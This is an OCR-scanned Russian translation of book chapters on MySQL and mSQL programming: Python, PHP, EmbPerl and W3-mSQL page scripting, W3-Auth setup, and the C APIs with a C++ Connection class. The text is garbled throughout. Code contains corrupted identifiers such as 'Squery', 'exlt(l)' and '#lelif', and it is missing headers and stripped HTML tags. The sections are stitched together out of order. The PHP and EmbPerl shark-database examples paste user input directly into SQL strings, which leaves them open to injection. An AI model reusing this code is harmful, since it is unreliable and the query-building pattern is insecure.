    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

    echo("Error : " . Msql->errmsg . "\n");

    exlt(l);

    }

    Snumresults = $result->numrows;

    -]



    [$if (! Snumresults ) $]

    <Н2>Результатов не найдено [SelseS]

    [Swhile (%shark = $Msql->fetchhash($result)) $]





  • <В>Вид: [+$shark{'species'}+]

    <В>Возраст: [+$age{$shark{'age'}}+]

    <В>Район [+$shark{'location'}+]


    [;endwhile$] [;endif]

    Hoвый поиск



    W3-mSQL

    W3-mSQL является, в сущности, одной программой CGI, называющейся w3-msql. Программа фильтрует страницы HTML со встроенными командами W3-mSQL и посылает клиенту очищенный результирующий HTML. Команды W3-mSQL пишутся на специальном языке программирования, называемом Lite. Lite во многом схож с Perl и С, но разработан специально для взаимодействия с базами данных mSQL. Краткий справочник по функциям Lite есть в конце главы 18 "Справочник по PHP Lite". Для осуществления этого к URL для w3-msql добавляется путь к HTML-файлу, с расширениями W3-mSQL, например, http://www.me.com/cgi-bin/w3-msql/~me/mypage.html.

    Содержимое HTML-файла внутри тега интерпретируется как команды Lite. Например, эквивалент программы "Hello world!" на Lite выглядит так:

    Hello world!




    echo("Hello world!");
    >


    Все, что не находится внутри тегов , остается чистым HTML.

    mSQL автоматически устанавливает программу w3-msql, и вам остается только поместить ее в свой каталог cgi-bin.

    W3-Auth

    W3-Auth является механизмом, обеспечивающим защиту страниц, управляемых W3-mSQL. Он включается вместе с W3-mSQL и устанавливается автоматически с mSQL. С помощью W3-Auth можно создать иерархию пользователей и групп, которым разрешено использовать различные страницы с расширениями W3-mSQL.

    W3-Auth использует три различных уровня доступа: пользователь, группа и область. Пользователь отдельное имя, обычно относящееся к отдельному лицу, примерно как имя пользователя в Unix. Груп па является собранием пользователей. Область является разделом веб-сайта, который вы хотите защитить.

    Такая схема особенно полезна для сайтов со многими виртуальными узлами на одном веб-сервере. Допустим, например, что на вашем компьютере расположены виртуальные серверы с именами serverl, ser-ver2 и server3. Каждое из этих различных имен администрируется различными группами людей. Вы можете создать три разные области, охватывающие эти три сайта, и тогда члены каждой группы будут в состоянии управлять доступом к своей странице с расширениями W3-mSQL, но не смогут вмешаться в управление другими сайтами.


    Установка

    Обе программы, W3-mSQL и W3-Auth, компилируются и устанавливаются автоматически, вместе с дистрибутивом mSQL. После установки они находятся в MSQL_HOME/bin, где MSOL_HOME есть местонахождение файлов mSQL - по умолчанию /usr/local/Hughes. Исполняемые файлы w3-msql и w3-auth нужно скопировать в каталог cgi-bin вашего сервера или эквивалентный ему.

    После установки W3-Auth предполагает, что она сама и программа w3-msql находятся в каталоге cgi-bin вашего сайта. Если вы хотите поместить эти программы в другой каталог, нужно вручную изменить исходный код перед установкой mSQL. С помощью Perl это можно сделать следующим образом. Находясь в каталоге src/w3-msql дистрибутива mSQL, введите: perl -pi -e 's/cgi-bin/yourcgidirectory/g' *.c. Другой возможностью сделать то же самое является использование такого сценария:

    #!/bin/sh

    # Запустите это из каталога src/w3-msql своего дистрибутива с исходным кодом mSQL.

    for file in 'Is *.c'; do

    sed -e "s/cgi-bin/$1/" $file > $file.tmp

    mv $file.tmp $file

    done

    Скопируйте этот сценарий в ваш каталог src/w3-msql и введите следующую команду:

    ./scriptname yourcgidirectory

    Здесь scriptname является именем сценария, a yourcgidirectory - именем каталога, который будет содержать исполняемые файлы w3-msql и w3-auth.

    W3-Auth в настоящее время не совместим с распространяемой версией веб-сервера Apache из-за одной небольшой особенности системы безопасности Apache. Apache не позволяет программам CGI иметь доступ к данным авторизации. Без этой возможности ни одна CGI-программа, включая W3-Auth, не может выводить пользователю стандартное окно для ввода имени пользователя/пароля и получать из него результаты. Ввиду важности Apache для сообщества пользователей mSQL, был быстро выпущен патч, позволяющий W3-Auth работать вместе с Apache. После его установки необходимо перекомпилировать Apache. Заметьте, что установка данного патча позволяет любым CGI-програм-мам получать имя пользователя и пароль у посетителей сайта. Если вы доверяете тем, кто имеет доступ к CGI-программам на вашей машине, то подобный метод относительно безопасен.

    Два API

    Используете ли вы С или C++, С API для MySQL и mSQL являются шлюзами к базе данных. Однако их применение может очень различаться в зависимости от того, используете ли вы С или объектно-ориентированные возможности C++. К программированию баз данных на С нужно подходить в последовательном стиле, когда вы пошагово просматриваете свое приложение, чтобы определить, где производятся обращения к базе данных, а где необходимо произвести освобождение ресурсов. Напротив, объектно-ориентированный C++ требует объектно-ориентированного интерфейса к выбранному вами API. Тогда объекты этого API могут взять на себя ответственность за управление ресурсами базы данных.

    В таблице 13-1 сопоставлены вызовы функций каждого API. Детали использования этих функций мы рассмотрим позднее в этой главе. Сейчас вы можете лишь бегло сравнить оба API и отметить, какие возможности они предоставляют. Разумеется, в справочном разделе перечислены все эти методы с подробным описанием прототипов, возвращаемых значений и комментариями.

    Таблица 13-1. С API для MySQL и mSQL

  • $i







    MySQL


    mSQL


    mysql_affected_rows()


    CM. msqlQuery()


    mysql_close()


    msqlClose()


    mysql_connect()


    msqlConnect()


    myql_create_db()





    mysql_data_seek()


    msqlDataSeek()


    mysql_drop_db()





    mysql_eof()





    mysql_error()





    mysql_fetch_field()


    msqlFetchField()


    mysql fetch lengths()





    mysql_fetch_row()


    msqlFetchRow()


    mysql_field_count()





    mysql_field_seek()


    msqlFieldSeek()


    mysql_free_result()


    msqlFreeResult()


    mysql_get_client_info()





    mysql get host_info()





    mysql_get_proto_info()





    mysql_get_server_info()





    mysql_init()





    mysql_insert_id()





    mysql_list_dbs( )


    msqlListDBs()


    mysql_list_fields()


    msqlListFields()





    msqlListIndex()


    mysql_list_processes()





    mysql_list_tables()


    msqlListTables()


    mysql_num_fields()


    msqlNumFields()


    mysql_num_rows()


    msqlNumRows()


    mysql_query()


    msqlQuery()

    <


    mysql_real_query()







    mysql_reload()







    mysql_select_db()



    msqlSelectDB()



    mysql_shutdown()







    mysql_stat()







    mysql_store_result()



    msqiStoreResult()



    mysql_use_result()





    API для MySQL значительно обширнее, чем API для mSQL, ввиду большего числа функций в MySQL. Во многих случаях MySQL фактически только обеспечивает программный интерфейс к функциям администрирования баз данных, которые имеются в той и другой СУБД. Просто изучив названия функций, можно прийти к выводу, что любое разрабатываемое вами приложение баз данных должно, как минимум, делать следующее:

  • Осуществлять соединение.

  • Выбирать БД.

  • Посылать запрос.

  • Получать строку.

  • Получать поле.

  • Закрываться.

    В примере 13-1 показана простая команда select, извлекающая данные из базы данных MySQL с помощью MySQL С API.

    Пример 13-1. Простая программа, извлекающая все данные из тестовой базы и отображающая их

    #include

    #include

    #include

    int main(char **args) {

    MYSQL_RES 'result;

    MYSQL_ROW row;

    MYSQL 'connection, mysql;

    int state;

    /* соединиться с базой данных mySQL на athens.imaginary.com */

    mysql_init(&mysql);

    connection = mysql_real_connect(&mysql,

    "alMens.imaginary.com",

    0, 0,

    "db_test", 0, 0);

    /* проверить ошибки соединения */

    if( connection == NULL ) {

    /* вывести сообщение об ошибке */

    printf(mysql_error(&mysql));

    return 1;

    }

    state = mysql_query(connection,

    "SELECT test_id, test_val FROM test");

    if( state != 0 ) {

    printf(mysql_error(connection));

    return 1; }

    /* прежде чем делать другие вызовы,

    * необходимо вызвать mysql_store_result()

    */

    result = mysql_store_result(connection);

    printf("Строк: %d\n", mysql_num_rows(result));

    /* обработать каждую строку результирующего набора */

    while( ( row = mysql_fetch_row(result)) != NULL )

    {

    printf("id: %s, значение: %s\n", (row[0] ? row[0] : "NULL"), (row[1] ? row[1] : "NULL")); }


    /* освободить ресурсы, использовавшиеся результирующим набором */

    mysql_free_result(result); /* закрыть соединение */

    mysql_close(connection);

    printf("Koнец, работы.\n");

    }

    Назначение файлов mysql.h и stdio.h, включаемых директивой ftinclude, должно быть очевидно. Файл заголовков mysql.h содержит прототипы и переменные, необходимые для MySQL, a stdio.h содержит прототип для printf (). Файл заголовков sys/time.h приложением фактически не используется. Он нужен из-за mysql.h, так как файл для MySQL использует определения из sys/time.h, не включая их. Для компиляции программы с помощью компилятора GNU С используйте командную строку:

    gcc -L/usr/local/mysql/lib -I/usr/local/mysql/include -о select

    select.c\

    -Imysql -Insl -Isocket

    Разумеется, в этой строке вместо /usr/local/mysql нужно задать тот каталог, в который вы установили MySQL.

    Функция main() выполняет те шаги, которые мы перечислили раньше: соединяется с сервером, выбирает базу данных, выдает запрос, обрабатывает его результаты и освобождает использованные ресурсы. По ходу главы мы подробно остановимся на каждом из этих этапов. Сейчас посмотрите на этот код, лишь для того чтобы почувствовать, как он работает. Кроме того, сравните этот пример с той же программой, написанной для mSQL, которая представлена в примере 13-2.*

    Пример 13-2. Простое приложение выборки данных для mSQL

    #include

    #include

    #include

    int main(char **args) {

    int connection, state;

    m_result *result;

    m_row row;

    /* соединиться с базой данных mSOL на athens.imaginary.com */

    state = msqlConnect("athens.imaginary.com");

    /* проверить ошибки соединения */

    if( state == -1 )

    {

    /* вывести сообщение об ошибке, хранящееся в MsqlErrMsg */

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    /* описателем соединения является значение, возвращаемое msqlConnect() */

    connection = state; }

    /* выбрать используемую базу данных */

    state = msqlSelectDB(connection, "db_test");


    /* опять-таки, -1 указывает на ошибку */

    if( state == -1 )

    {

    printf(msqlErrMsg);

    /* закрыть соединение перед выходом */

    msqlClose(connection);

    return 1; }

    state = msqlQuery(connection, "SELECT test_id, test_val FROM test");

    if( state == -1 )

    {

    printf(msqlErrMsg);

    return 1;

    }

    else

    {

    printf("Строк: %d\n", state);

    }

    /* прежде чем делать новый вызов Query(),

    * необходимо вызвать msqlStoreResult()

    */

    result = msqlStoreResult();

    /* обработать каждую строку результирующего набора */

    while( ( row = msqlFetchRow(result)) != NULL )

    {

    printf("id: %s, значение: %s\n",

    (row[0] ? row[0] : "NULL"),

    (row[1] ? row[1] : "NULL"));

    }

    /* освободить ресурсы, использовавшиеся результирующим набором */

    msqlFreeResult(result); /* закрыть соединение */

    msqlClose(connect ion);

    printf("Конец работы.\n"); }

    Эти программы почти идентичны. Кроме разных имен функций, есть лишь несколько заметных отличий. Сильнее всего бросается в глаза различие в соединении с базой данных, которое проявляется в двух отношениях:

  • В MySQL соединение осуществляется за один шаг, а в mSQL - за два.*

  • Для MySQL требуются имя пользователя и пароль, а для mSQL -нет.

    Как указывалось ранее в этой книге, MySQL поддерживает сложную схему авторизации с именами пользователей и паролями. Напротив, в mSQL применяется простая система, использующая ID пользователя процесса, соединяющегося с базой данных. Более надежная схема MySQL гораздо привлекательнее в среде клиент/сервер, но также и значительно более сложна в администрировании. Для разработчиков приложений она означает необходимость передачи в вызове mysql_real_connect() имени пользователя и пароля при работе с MySQL помимо имени сервера, используемого в mSQL.

    Первый аргумент API для установления соединения с MySQL может показаться необычным. По сути, это способ отслеживать все вызовы, иначе никак не связанные с соединением. Например, если вы пытаетесь установить соединение, и попытка неудачна, вам нужно получить сообщение о соответствующей ошибке. Однако функция MySQL


    mysql_error() требует задания указателя на действующее соединение с базой данных MySQL. Такое соединение обеспечивается изначально созданным нулевым соединением. Однако у вас должна быть действующая ссылка на это значение в течение всего времени существования вашего приложения - вопрос большой важности в более структурированной среде, чем простое приложение вида "соединился, сделал запрос, закрылся". Примеры на C++ далее в этой главе подробнее рассматривают эту тему.

    Два другие различия в API относятся к тому, как производятся обработка ошибок и подсчет числа записей в результирующем наборе. API mSQL создает глобальную переменную для хранения сообщений об ошибках. Из-за многопоточности MySQL такая глобальная переменная не смогла бы действовать в его API. Поэтому в нем используется функция mysql_error() для извлечения сообщений об ошибках, связанных с последней ошибкой, порожденной указанным соединением.

    API для соединения и обработки ошибок - два пункта, в которых MySQL отличается от mSQL для обеспечения функциональности, отсутствующей в mSQL. Подсчет числа результирующих записей в mSQL делается иным способом для обеспечения лучшего интерфейса, нежели предоставляемый MySQL. А именно: при посылке SQL-запроса в msqlQuery() возвращается число задействованных строк (или -1 в случае ошибки). Таким образом, подсчет измененных строк при обновлении и строк в возвращаемом результирующем наборе при запросе используют одну и ту же парадигму. В MySQL же приходится использовать различные парадигмы. При запросе на получение данных нужно передать результирующий набор функции mysql_nuoi_rows() , чтобы получить число строк в результирующем наборе. При обновлении нужно вызвать другую функцию API, mysql_affected_rows() . В то время как msqlQuery() возвращает число строк, удовлетворивших предложению WHERE при обновлении, mysql_affected_rows() сообщает о числе фактически измененных строк. И наконец, в mSQL есть метод msqlNumRows() , обеспечивающий тот же интерфейс для подсчета результирующего набора, что и в MySQL, но в нем нет аналога для mysql_affected_rows() .



    В этой книге мы рассматриваем

    С и C++

    В этой книге мы рассматриваем несколько разных языков программирования: Python, Java, Perl и С. Из этих языков больше всего трудностей вызывают C/C++. В других языках ваша задача состоит в формировании запроса SQL, передаче этого запроса посредством вызова функции и обработке результирующих данных. В С добавляется очень сложная проблема управления памятью.

    Как MySQL, так и mSQL предоставляют С-библиотеки, позволяющие создавать приложения для работы с базами данных MySQL и mSQL. В действительности API MySQL ведет свое происхождение от mSQL, благодаря чему опыт программирования в одном API позволяет легко перейти к другому. Однако, как мы видели в первой части, MySQL значительно богаче функциями, чем mSQL. Естественно, эти дополнительные функции приводят к некоторым различиям между двумя API. В данной главе мы исследуем эти различия и разберем детали каждого API при создании объектно-ориентированного C++ API, который можно условно компилировать для работы с каждым из двух API.



    Объектно-ориентированный доступ к базам данных на C++

    С API прекрасно работают в процедурном программировании на С. Однако они не очень хорошо вписываются в объектно-ориентированную среду C++. Чтобы показать, как реально использовать в программе эти два API, в оставшейся части главы мы создадим с их помощью C++ API для объектно-ориентированного программирования баз данных.

    Объектно-ориентированный доступ к базам данных на C++
    Рис. 13-1. Библиотека объектно-ориенитрованного доступа к базе данных

    Поскольку мы занимаемся освещением доступа к базам данных MySQL и mSQL, то сосредоточимся на специфичных для MySQL и mSQL темах и не будем пытаться создать совершенный общий C++ API. Работу с MySQL и mSQL описывают три главных понятия: соединение, результирующий набор и строки результирующего набора. Мы будем использовать эти понятия как ядро объектной модели, на которой будет основываться наша библиотека. Рис. 13-1 показывает эти объекты на UML-диаграмме.*

    Соединение с базой данных

    В любой среде доступ к базе данных начинается с соединения. Как вы видели в первых двух примерах, MySQL и mSQL по-разному представляют одно и то же понятие - соединение с базой данных. Создание нашей объектно-ориентированной библиотеки мы начнем с абстрагирования от этого понятия и создания объекта Connection . Объект Connection должен уметь устанавливать соединение с сервером, выбирать нужную базу данных, посылать запросы и возвращать результаты. Пример 13-3 показывает заголовочный файл, в котором объявлен интерфейс к объекту Connection.

    UML - это новый Унифицированный язык моделирования, созданный Гради Бучем, Айваром Якобсоном и Джеймсом Рамбо (Grady Booch, Ivar Jacobson, James Rumbaugh) в качестве нового стандарта для документирования объектно-ориентированного проектирования и анализа.

    Пример 13-3. Заголовок класса Connection

    #ifndef l_connection_h
    #define l_connection_h

    #include

    #if defined(HAS_MSQL)
    #include
    #lelif defined(HAS_MYSQL)
    #include
    #endif

    #include "result.h"

    class Connection { private:

    int affected_rows;

    #if defined(HAS_MSQL)

    int connection;

    #elif defined(HAS_MYSQL)

    MYSQL mysql;

    MYSQL 'connection; tfelse

    #error База данных не определена,

    #endif

    public:

    Connection(char *, char *);

    Connection(char *, char *, char *, char *);

    ~Connection();

    void Close();

    void Connect(char 'host, char *db, char *uid, char *pw);

    int GetAffectedRows();

    char. *GetError();

    int IsConnected();

    Result *Query(char *);

    };

    #endif // l_connection_h

    Методы, которые предоставляет класс Connection, одинаковы вне зависимости от используемой СУБД. Однако спрятанными в глубине класса окажутся закрытые члены, специфичные для той библиотеки, с которой он будет компилироваться. При установлении соединения единственными различными данными-членами станут те, которые представляют соединение с базой данных. Как отмечалось, mSQL для представления соединения использует величину типа int, a MySQL использует указатель на MYSQL и дополнительную величину типа MYSQL для установления соединения.

    Установление соединения с базой данных

    Всем приложениям, которые мы будем создавать с использованием этого API, для соединения с базой данных потребуется только создать новый экземпляр класса Connection с помощью одного из его конструкторов. Аналогично, приложение может отсоединиться, уничтожив экземпляр Connection . Оно может даже повторно использовать экземпляр Connection с помощью прямых обращений к методам Close() и Соnnect(). Пример 13-4 показывает реализацию конструкторов и метода Connect().

    Пример 13-4. Соединение с MySQL и mSQL в классе Connection

    #include "connection.h"

    Connection::Connection(char *host, char *db) {

    #if defined(HAS_MSQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;

    #else

    #error Het соединения с базой данных,

    #endif

    Connect(host, db, (char *)NULL, (char *)NULL); }

    Connection::Connection(char 'host, char *db, char *uid, char *pw) {

    #if defined(HASJISQL)

    connection = -1;

    #elif defined(HASJIYSQL)

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных,

    #endif

    Connect(host, db, uid, pw);

    }

    void Connection: :Connect(char'host, char *db, char *uid, char *pw)

    {

    int state;

    if( IsConnected() )

    {

    throw "Соединение уже установлено.";

    }

    #if defined(HAS_MSQL)

    connection = msqlConnect(host);

    state = msqlSelectDB(connection, db);

    #elif defined (HAS.MYSQL) mysql_init(&mysql);

    connection = mysql_real_connect(&mysql, host,

    uid, pw,

    db, 0, 0); #else

    #error Нет соединения с базой данных.

    #endif

    if( !IsConnected() )

    {

    throw GetError();

    }

    if( state < 0 )

    {

    throw GetError();

    }

    }

    Оба конструктора разработаны с учетом различия параметров, требуемых для соединений MySQL и mSQL. Тем не менее эти API должны разрешать обоим конструкторам работать с каждой из баз данных. Это достигается игнорированием ID пользователя и пароля при вызове конструктора с четырьмя аргументами. Аналогично при вызове конструктора с двумя аргументами, серверу MySQL в качестве значений ID пользователя и пароля передаются значения null. Фактическое соединение с базой данных происходит в методе Connect ().

    Метод Connect() инкапсулирует все шаги, необходимые для соединения. Для MySQL он вызывает метод mysql_real_connect() . Для mSQL жe сначала вызывается метод msqlConnect(), а затем msqlSelectDB() . При неудаче на любом из этапов Connect() возбуждает исключительную ситуацию.

    Отсоединение от базы данных

    Другой логической функцией класса Connection является отсоединение от базы данных и освобождение скрытых от приложения ресурсов. Эту функцию осуществляет метод Close (). В примере 13-5 показано, как происходит отсоединение от MySQL и mSQL.

    Пример 13-5. Освобождение ресурсов базы данных

    Connection::"Connection() {

    if( IsConnected() ) {

    Close();

    } }

    void Connection::Close() {

    if( !IsConnected() )

    {

    return;

    }

    #if defined(HAS_MSQL)

    msqlClose(connection);

    connection = -1;

    #elif defined(HAS_MYSQL)

    mysql_close(connection);

    connection = (MYSQL *)NULL;


    #else

    #error Нет соединения с базой данных, tfendif }

    Методы mysql_close() и msqlClose() освобождают ресурсы, используемые соединениями с MySQL и mSQL соответственно.

    Выполнение обращений к базе данных

    В промежутке между открытием соединения и закрытием базе данных обычно посылаются команды. Класс Connection делает это с помощью метода Query(), принимающего команду SQL в качестве аргумента. Если команда является запросом, она возвращает экземпляр класса Result из объектной модели, представленной на рио. 13-1. Если же команда обновляет данные, то метод возвращает NULL и устанавливает значение affected_rows равным количеству строк, в которых произведены изменения. В примере 13-6 показано, как класс Connection обрабатывает запросы к базам данных MySQL и mSQL.

    Пример 13-6. Обработка запроса к базе данных

